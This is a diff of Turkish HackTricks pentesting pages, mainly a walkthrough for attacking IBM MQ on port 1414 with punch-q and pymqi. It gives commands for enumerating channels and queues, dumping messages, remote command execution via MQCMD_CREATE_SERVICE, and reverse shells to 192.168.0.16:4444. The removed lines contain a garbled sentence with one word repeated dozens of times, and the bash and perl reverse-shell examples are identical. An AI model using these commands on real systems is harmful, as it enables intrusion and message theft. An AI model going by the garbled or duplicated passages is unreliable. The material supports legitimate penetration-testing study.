**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) katkıda bulunun**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,51 +1,54 @@
# 1414 - IBM MQ Pentesting
# 1414 - Pentesting IBM MQ
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel bilgiler
IBM MQ, mesaj kuyruklarını yönetmek için kullanılan bir IBM teknolojisidir. Diğer **mesaj aracısı** teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için kullanılır.
IBM MQ, mesaj kuyruklarını yönetmek için bir IBM teknolojisidir. Diğer **mesaj aracısı** teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için ayrılmıştır.
Varsayılan olarak, **IBM MQ TCP bağlantı noktası 1414** olarak açılır.
Bazen, HTTP REST API bağlantı noktası **9443** üzerindeılabilir.
Metrikler (Prometheus) TCP bağlantı noktası **9157** üzerinden erişilebilir.
Varsayılan olarak, **IBM MQ TCP port 1414'ü açar**.
Bazen, HTTP REST API **9443** portundaılabilir.
Metrikler (Prometheus) ayrıca **9157** TCP portundan erişilebilir.
IBM MQ TCP bağlantı noktası 1414, mesajları, kuyrukları, kanalları vb. manipüle etmek için kullanılabilir, ancak aynı zamanda **örneği kontrol etmek** için de kullanılabilir.
IBM MQ TCP port 1414, mesajları, kuyrukları, kanalları manipüle etmek için kullanılabilir, ... ama **aynı zamanda örneği kontrol etmek için de** kullanılabilir.
IBM, [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) adresinde geniş bir teknik belge sağlamaktadır.
IBM, [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) adresinde geniş bir teknik dokümantasyon sunmaktadır.
## Araçlar
Kolay sömürü için önerilen bir araç **[punch-q](https://github.com/sensepost/punch-q)**, Docker kullanımıyla. Araç, Python kütüphanesi `pymqi`'yi aktif olarak kullanmaktadır.
Kolay sömürü için önerilen bir araç **[punch-q](https://github.com/sensepost/punch-q)**, Docker kullanımı ile. Araç, `pymqi` Python kütüphanesini aktif olarak kullanmaktadır.
Daha manuel bir yaklaşım için, Python kütüphanesi **[pymqi](https://github.com/dsuch/pymqi)** kullanın. [IBM MQ bağımlılıkları](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) gereklidir.
Daha manuel bir yaklaşım için, **[pymqi](https://github.com/dsuch/pymqi)** Python kütüphanesini kullanın. [IBM MQ bağımlılıkları](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) gereklidir.
### pymqi'nin kurulumu
### pymqi Kurulumu
**IBM MQ bağımlılıkları** kurulmalı ve yüklenmelidir:
1. [https://login.ibm.com/](https://login.ibm.com/) adresinde bir hesap (IBMid) oluşturun.
2. IBM MQ kütüphanelerini [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) adresinden indirin. Linux x86_64 için **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**'dir.
3. Arşiviın (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Lisans koşullarını kabul etmek için `sudo ./mqlicense.sh` komutunu çalıştırın.
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) adresinden IBM MQ kütüphanelerini indirin. Linux x86_64 için **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**'dir.
3. Sıkıştırmayıın (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Lisans şartlarını kabul etmek için `sudo ./mqlicense.sh` komutunu çalıştırın.
>Eğer Kali Linux altındaysanız, `mqlicense.sh` dosyasını düzenleyin: aşağıdaki satırları (105-110 arasındaki satırlar) kaldırın/yorumlayın:
>Kali Linux kullanıyorsanız, `mqlicense.sh` dosyasını değiştirin: aşağıdaki satırları (105-110. satırlar arasında) kaldırın/yorumlayın:
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> echo "HATA: Bu paket bu sistemle uyumsuz"
> echo " Bu paket ${BUILD_PLATFORM} için oluşturuldu"
> exit 1
>fi
>```
@ -56,9 +59,9 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Ardından, geçici olarak `.so` dosyalarını LD'ye ekleyin: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, bu bağımlılıkları kullanan diğer araçları çalıştırmadan **önce**.
6. Ardından, geçici olarak `.so` dosyalarını LD'ye ekleyin: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **diğer araçları bu bağımlılıkları kullanarak çalıştırmadan önce**.
Daha sonra, [**pymqi**](https://github.com/dsuch/pymqi) projesini klonlayabilirsiniz: ilginç kod parçacıkları, sabitler içerir... Veya doğrudan kütüphaneyi şu komutla yükleyebilirsiniz: `pip install pymqi`.
Sonra, projeyi [**pymqi**](https://github.com/dsuch/pymqi) klonlayabilirsiniz: ilginç kod parçacıkları, sabitler vb. içerir... Ya da kütüphaneyi doğrudan şu komutla kurabilirsiniz: `pip install pymqi`.
### punch-q Kullanımı
@ -68,35 +71,35 @@ Basitçe şunu kullanın: `sudo docker run --rm -ti leonjza/punch-q`.
#### Docker olmadan
[**punch-q**](https://github.com/sensepost/punch-q) projesini klonlayın ve ardından kurulum için readme'yi takip edin (`pip install -r requirements.txt && python3 setup.py install`).
Projeyi [**punch-q**](https://github.com/sensepost/punch-q) klonlayın ve ardından kurulum için readme'yi takip edin (`pip install -r requirements.txt && python3 setup.py install`).
Sonra, `punch-q` komutuyla kullanılabilir.
Sonrasında, `punch-q` komutuyla kullanılabilir.
## Numaralandırma
## Sayım
**punch-q** veya **pymqi** ile **kuyruk yöneticisi adını, kullanıcıları, kanalları ve kuyrukları** numaralandırmayı deneyebilirsiniz.
**Queue manager adı, kullanıcılar, kanallar ve kuyruklar**'ı **punch-q** veya **pymqi** ile saymayı deneyebilirsiniz.
### Kuyruk Yöneticisi
### Queue Manager
Bazen, Kuyruk Yöneticisi adını almak için herhangi bir koruma olmayabilir:
Bazen, Queue Manager adını elde etmeye karşı bir koruma yoktur:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Kanallar
**punch-q**, mevcut kanalları bulmak için dahili (değiştirilebilir) bir kelime listesi kullanır. Kullanım örneği:
**punch-q** mevcut kanalları bulmak için iç (değiştirilebilir) bir kelime listesi kullanıyor. Kullanım örneği:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Bazı IBM MQ örnekleri, **kimlik doğrulaması yapılmamış** MQ isteklerini kabul eder, bu yüzden `--username / --password` gerekmez. Tabii ki, erişim hakları da değişebilir.
Bazı IBM MQ örneklerinin **kimlik doğrulaması yapılmamış** MQ isteklerini kabul ettiği durumlar vardır, bu nedenle `--username / --password` gerekli değildir. Elbette, erişim hakları da değişiklik gösterebilir.
Bir kanal adı (burada: `DEV.ADMIN.SVRCONN`) elde ettiğimiz anda, diğer tüm kanalları sıralayabiliriz.
Bir kanal adını (burada: `DEV.ADMIN.SVRCONN`) aldığımız anda, diğer tüm kanalları listeleyebiliriz.
Sıralama temel olarak **pymqi**'den bu kod parçacığı `code/examples/dis_channels.py` ile yapılabilir:
Listeleme, temel olarak **pymqi**'den `code/examples/dis_channels.py` bu kod parçası ile yapılabilir:
```python
import logging
import pymqi
@ -133,13 +136,7 @@ logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Ancak **punch-q** ayrıca bu bölümü de içerir (daha fazla bilgiyle!). Aşağıdaki komutla başlatılabilir:
```bash
punch-q
```
Bu komut, IBM MQ sunucusuna karşı bir saldırı gerçekleştirmek için kullanılır.
... Ama **punch-q** bu kısmı da (daha fazla bilgi ile!) içerir. Şu şekilde başlatılabilir:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
@ -162,7 +159,7 @@ Showing channels with prefix: "*"...
```
### Kuyruklar
**pymqi** ile ilgili bir kod parçacığı (`dis_queues.py`) bulunmaktadır, ancak **punch-q** kuyruklar hakkında daha fazla bilgi almayı sağlar:
**pymqi** ile bir kod parçası var (`dis_queues.py`) ama **punch-q** kuyruklar hakkında daha fazla bilgi parçası almayı sağlar:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
@ -186,9 +183,9 @@ Showing queues with prefix: "*"...
```
## Exploit
### Mesajları Dump Etme
### Dump messages
Belirli bir kuyruğa/kanala hedef alarak, mesajları onlardan çalmak/dump etmek mümkündür (yıkıcı olmayan işlem). *Örnekler:*
Queue(lar)/kanal(lar) hedef alarak onlardan mesajları dinleyebilir / dökebilirsiniz (yıkıcı olmayan işlem). *Örnekler:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
@ -196,27 +193,36 @@ Belirli bir kuyruğa/kanala hedef alarak, mesajları onlardan çalmak/dump etmek
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Tüm belirlenen kuyruklarda tekrarlamaktan çekinmeyin.**
**Tespit edilen tüm kuyruklar üzerinde iterasyona girmekten çekinmeyin.**
### Kod yürütme
> Devam etmeden önce bazı detaylar: IBM MQ birden fazla şekilde kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Bazı genel listeler [IBM MQ belgelerinde](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) bulunabilir. [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programlanabilir Komut Biçimleri***) uzaktan örnekle etkileşimde bulunmak için odaklandığımız şeydir. **punch-q** ve daha da önemlisi **pymqi** PCF etkileşimlerine dayanır.
> Devam etmeden önce bazı detaylar: IBM MQ, birden fazla yol ile kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Genel listeler [IBM MQ belgelerinde](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) bulunabilir.
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programlanabilir Komut Formatları***) ile uzaktan örnekle etkileşimde bulunmaya odaklanıyoruz. **punch-q** ve ayrıca **pymqi** PCF etkileşimlerine dayanmaktadır.
>
> PCF komutlarının bir listesini bulabilirsiniz:
> * [PCF belgelerinden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), ve
> * [sabitlerden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> İlginç bir komut `MQCMD_CREATE_SERVICE` ve belgeleri [burada](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) bulunabilir. Argüman olarak, örneğin (`/bin/sh`) örneğinde olduğu gibi, örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekte
> İlginç bir komut `MQCMD_CREATE_SERVICE` ve belgeleri [burada](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) mevcuttur. Bir `StartCommand` argümanı alır ve bu, örneğin, örnekteki gibi yerel bir programa işaret eder: `/bin/sh`.
>
> Belgelerde komutla ilgili bir uyarı da bulunmaktadır: *"Dikkat: Bu komut, bir kullanıcının mqm yetkisi ile keyfi bir komut çalıştırmasına izin verir. Bu komutu kullanma hakkı verilirse, kötü niyetli veya dikkatsiz bir kullanıcı, sistemlerinize veya verilerinize zarar verecek bir hizmet tanımlayabilir; örneğin, gerekli dosyaları silerek."*
>
> *Not: her zaman IBM MQ belgelerine (Yönetim Referansı) göre, hizmet oluşturma için eşdeğer MQSC komutunu çalıştırmak üzere `/admin/action/qmgr/{qmgrName}/mqsc` adresinde bir HTTP uç noktası da bulunmaktadır. Bu konu burada henüz ele alınmamıştır.*
PCF ile uzaktan program yürütme için hizmet oluşturma / silme **punch-q** ile yapılabilir:
**Örnek 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> IBM MQ günlüklerinde, komutun başarıyla çalıştırıldığını okuyabilirsiniz:
> IBM MQ günlüklerinde, komutun başarıyla yürütüldüğünü okuyabilirsiniz:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: '808544aa7fc94c48' komutu başlatıldı. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
Ayrıca, makinedeki mevcut programları da sıralayabilirsiniz (burada `/bin/doesnotexist` ... mevcut değil):
Ayrıca makinedeki mevcut programları sayabilirsiniz (burada `/bin/doesnotexist` ... mevcut değildir):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
@ -231,28 +237,28 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Dikkat edin, program başlatma işlemi asenkron olarak gerçekleşir. Bu nedenle, saldırıyı kullanmak için ikinci bir öğeye ihtiyacınız vardır** ***(ters kabuk için dinleyici, farklı bir hizmette dosya oluşturma, ağ üzerinden veri sızdırma...)***
**Programın başlatılmasının asenkron olduğunu unutmayın. Bu nedenle, istismarı kullanmak için ikinci bir öğeye ihtiyacınız var** ***(ters kabuk için dinleyici, farklı hizmette dosya oluşturma, ağ üzerinden veri sızdırma ...)***
**Örnek 2**
Kolay bir ters kabuk için, **punch-q** ayrıca iki ters kabuk yükü de sunar:
Kolay ters kabuk için, **punch-q** ayrıca iki ters kabuk yükü önerir:
* Bir tanesi bash ile
* Bir tanesi perl ile
* Biri bash ile
* Biri perl ile
*Tabii ki, `execute` komutuyla özel bir tane oluşturabilirsiniz.*
*Elbette `execute` komutunu kullanarak özel bir tane oluşturabilirsiniz.*
Bash için:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Perl için:
For perl:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### Özel PCF
IBM MQ belgelerine derinlemesine inceleyebilir ve belirli bir PCF komutunu test etmek için **pymqi** python kütüphanesini doğrudan kullanabilirsiniz. Bu, **punch-q** tarafından uygulanmayan özel bir PCF komutunu test etmek için kullanılabilir.
IBM MQ belgelerine göz atabilir ve **punch-q**'da uygulanmamış belirli PCF komutlarını test etmek için doğrudan **pymqi** python kütüphanesini kullanabilirsiniz.
**Örnek:**
```python
@ -282,9 +288,9 @@ else:
qmgr.disconnect()
```
Eğer sabit isimleri bulamazsanız, [IBM MQ belgelerine](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) başvurabilirsiniz.
Eğer sabit isimlerini bulamıyorsanız, [IBM MQ belgelerine](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) başvurabilirsiniz.
> *Örnek için [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Ondalık = 73). `MQCA_CLUSTER_NAME` (Ondalık = 2029) parametresine ihtiyaç duyar, bu da `*` olabilir (Belge: ):*
> *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Ondalık = 73) için örnek. `MQCA_CLUSTER_NAME` (Ondalık = 2029) parametresine ihtiyaç duyar, bu `*` olabilir (Dok: ):*
>
> ```python
> import pymqi
@ -313,27 +319,27 @@ Eğer sabit isimleri bulamazsanız, [IBM MQ belgelerine](https://www.ibm.com/doc
## Test ortamı
IBM MQ davranışını ve zafiyetleri test etmek isterseniz, Docker tabanlı yerel bir ortam kurabilirsiniz:
IBM MQ davranışını ve istismarlarını test etmek istiyorsanız, Docker tabanlı bir yerel ortam kurabilirsiniz:
1. ibm.com ve cloud.ibm.com üzerinde bir hesaba sahip olun.
2. IBM MQ'yu bir konteyner üzerinde oluşturun:
1. ibm.com ve cloud.ibm.com üzerinde bir hesabınızın olması.
2. Aşağıdaki ile konteynerleştirilmiş bir IBM MQ oluşturun:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı `admin` ve şifre `passw0rd` (Ortam değişkeni `MQ_ADMIN_PASSWORD`) olarak ayarlanmıştır.
Burada, kuyruk yöneticisi adı `MYQUEUEMGR` (değişken `MQ_QMGR_NAME`) olarak ayarlanmıştır.
Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı `admin` ve şifre `passw0rd` (Ortam değişkeni `MQ_ADMIN_PASSWORD`).
Burada, kuyruk yöneticisi adı `MYQUEUEMGR` olarak ayarlanmıştır (değişken `MQ_QMGR_NAME`).
IBM MQ'nun çalışır durumda olması ve bağlantı noktalarının açık olması gerekmektedir:
IBM MQ'nun çalışır durumda olması ve portlarının açık olması gerekir:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> IBM MQ docker görüntülerinin eski sürümü şurada bulunabilir: https://hub.docker.com/r/ibmcom/mq/.
> IBM MQ docker görüntülerinin eski versiyonu şurada: https://hub.docker.com/r/ibmcom/mq/.
## Referanslar
## References
* [mgeeky'nin gist'i - "Practical IBM MQ Penetration Testing notları"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ belgeleri](https://www.ibm.com/docs/en/ibm-mq)
* [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)

View file

@ -1,33 +1,39 @@
# 5439 - Redshift Pentesting
# 5439 - Pentesting Redshift
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman seviyesine kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
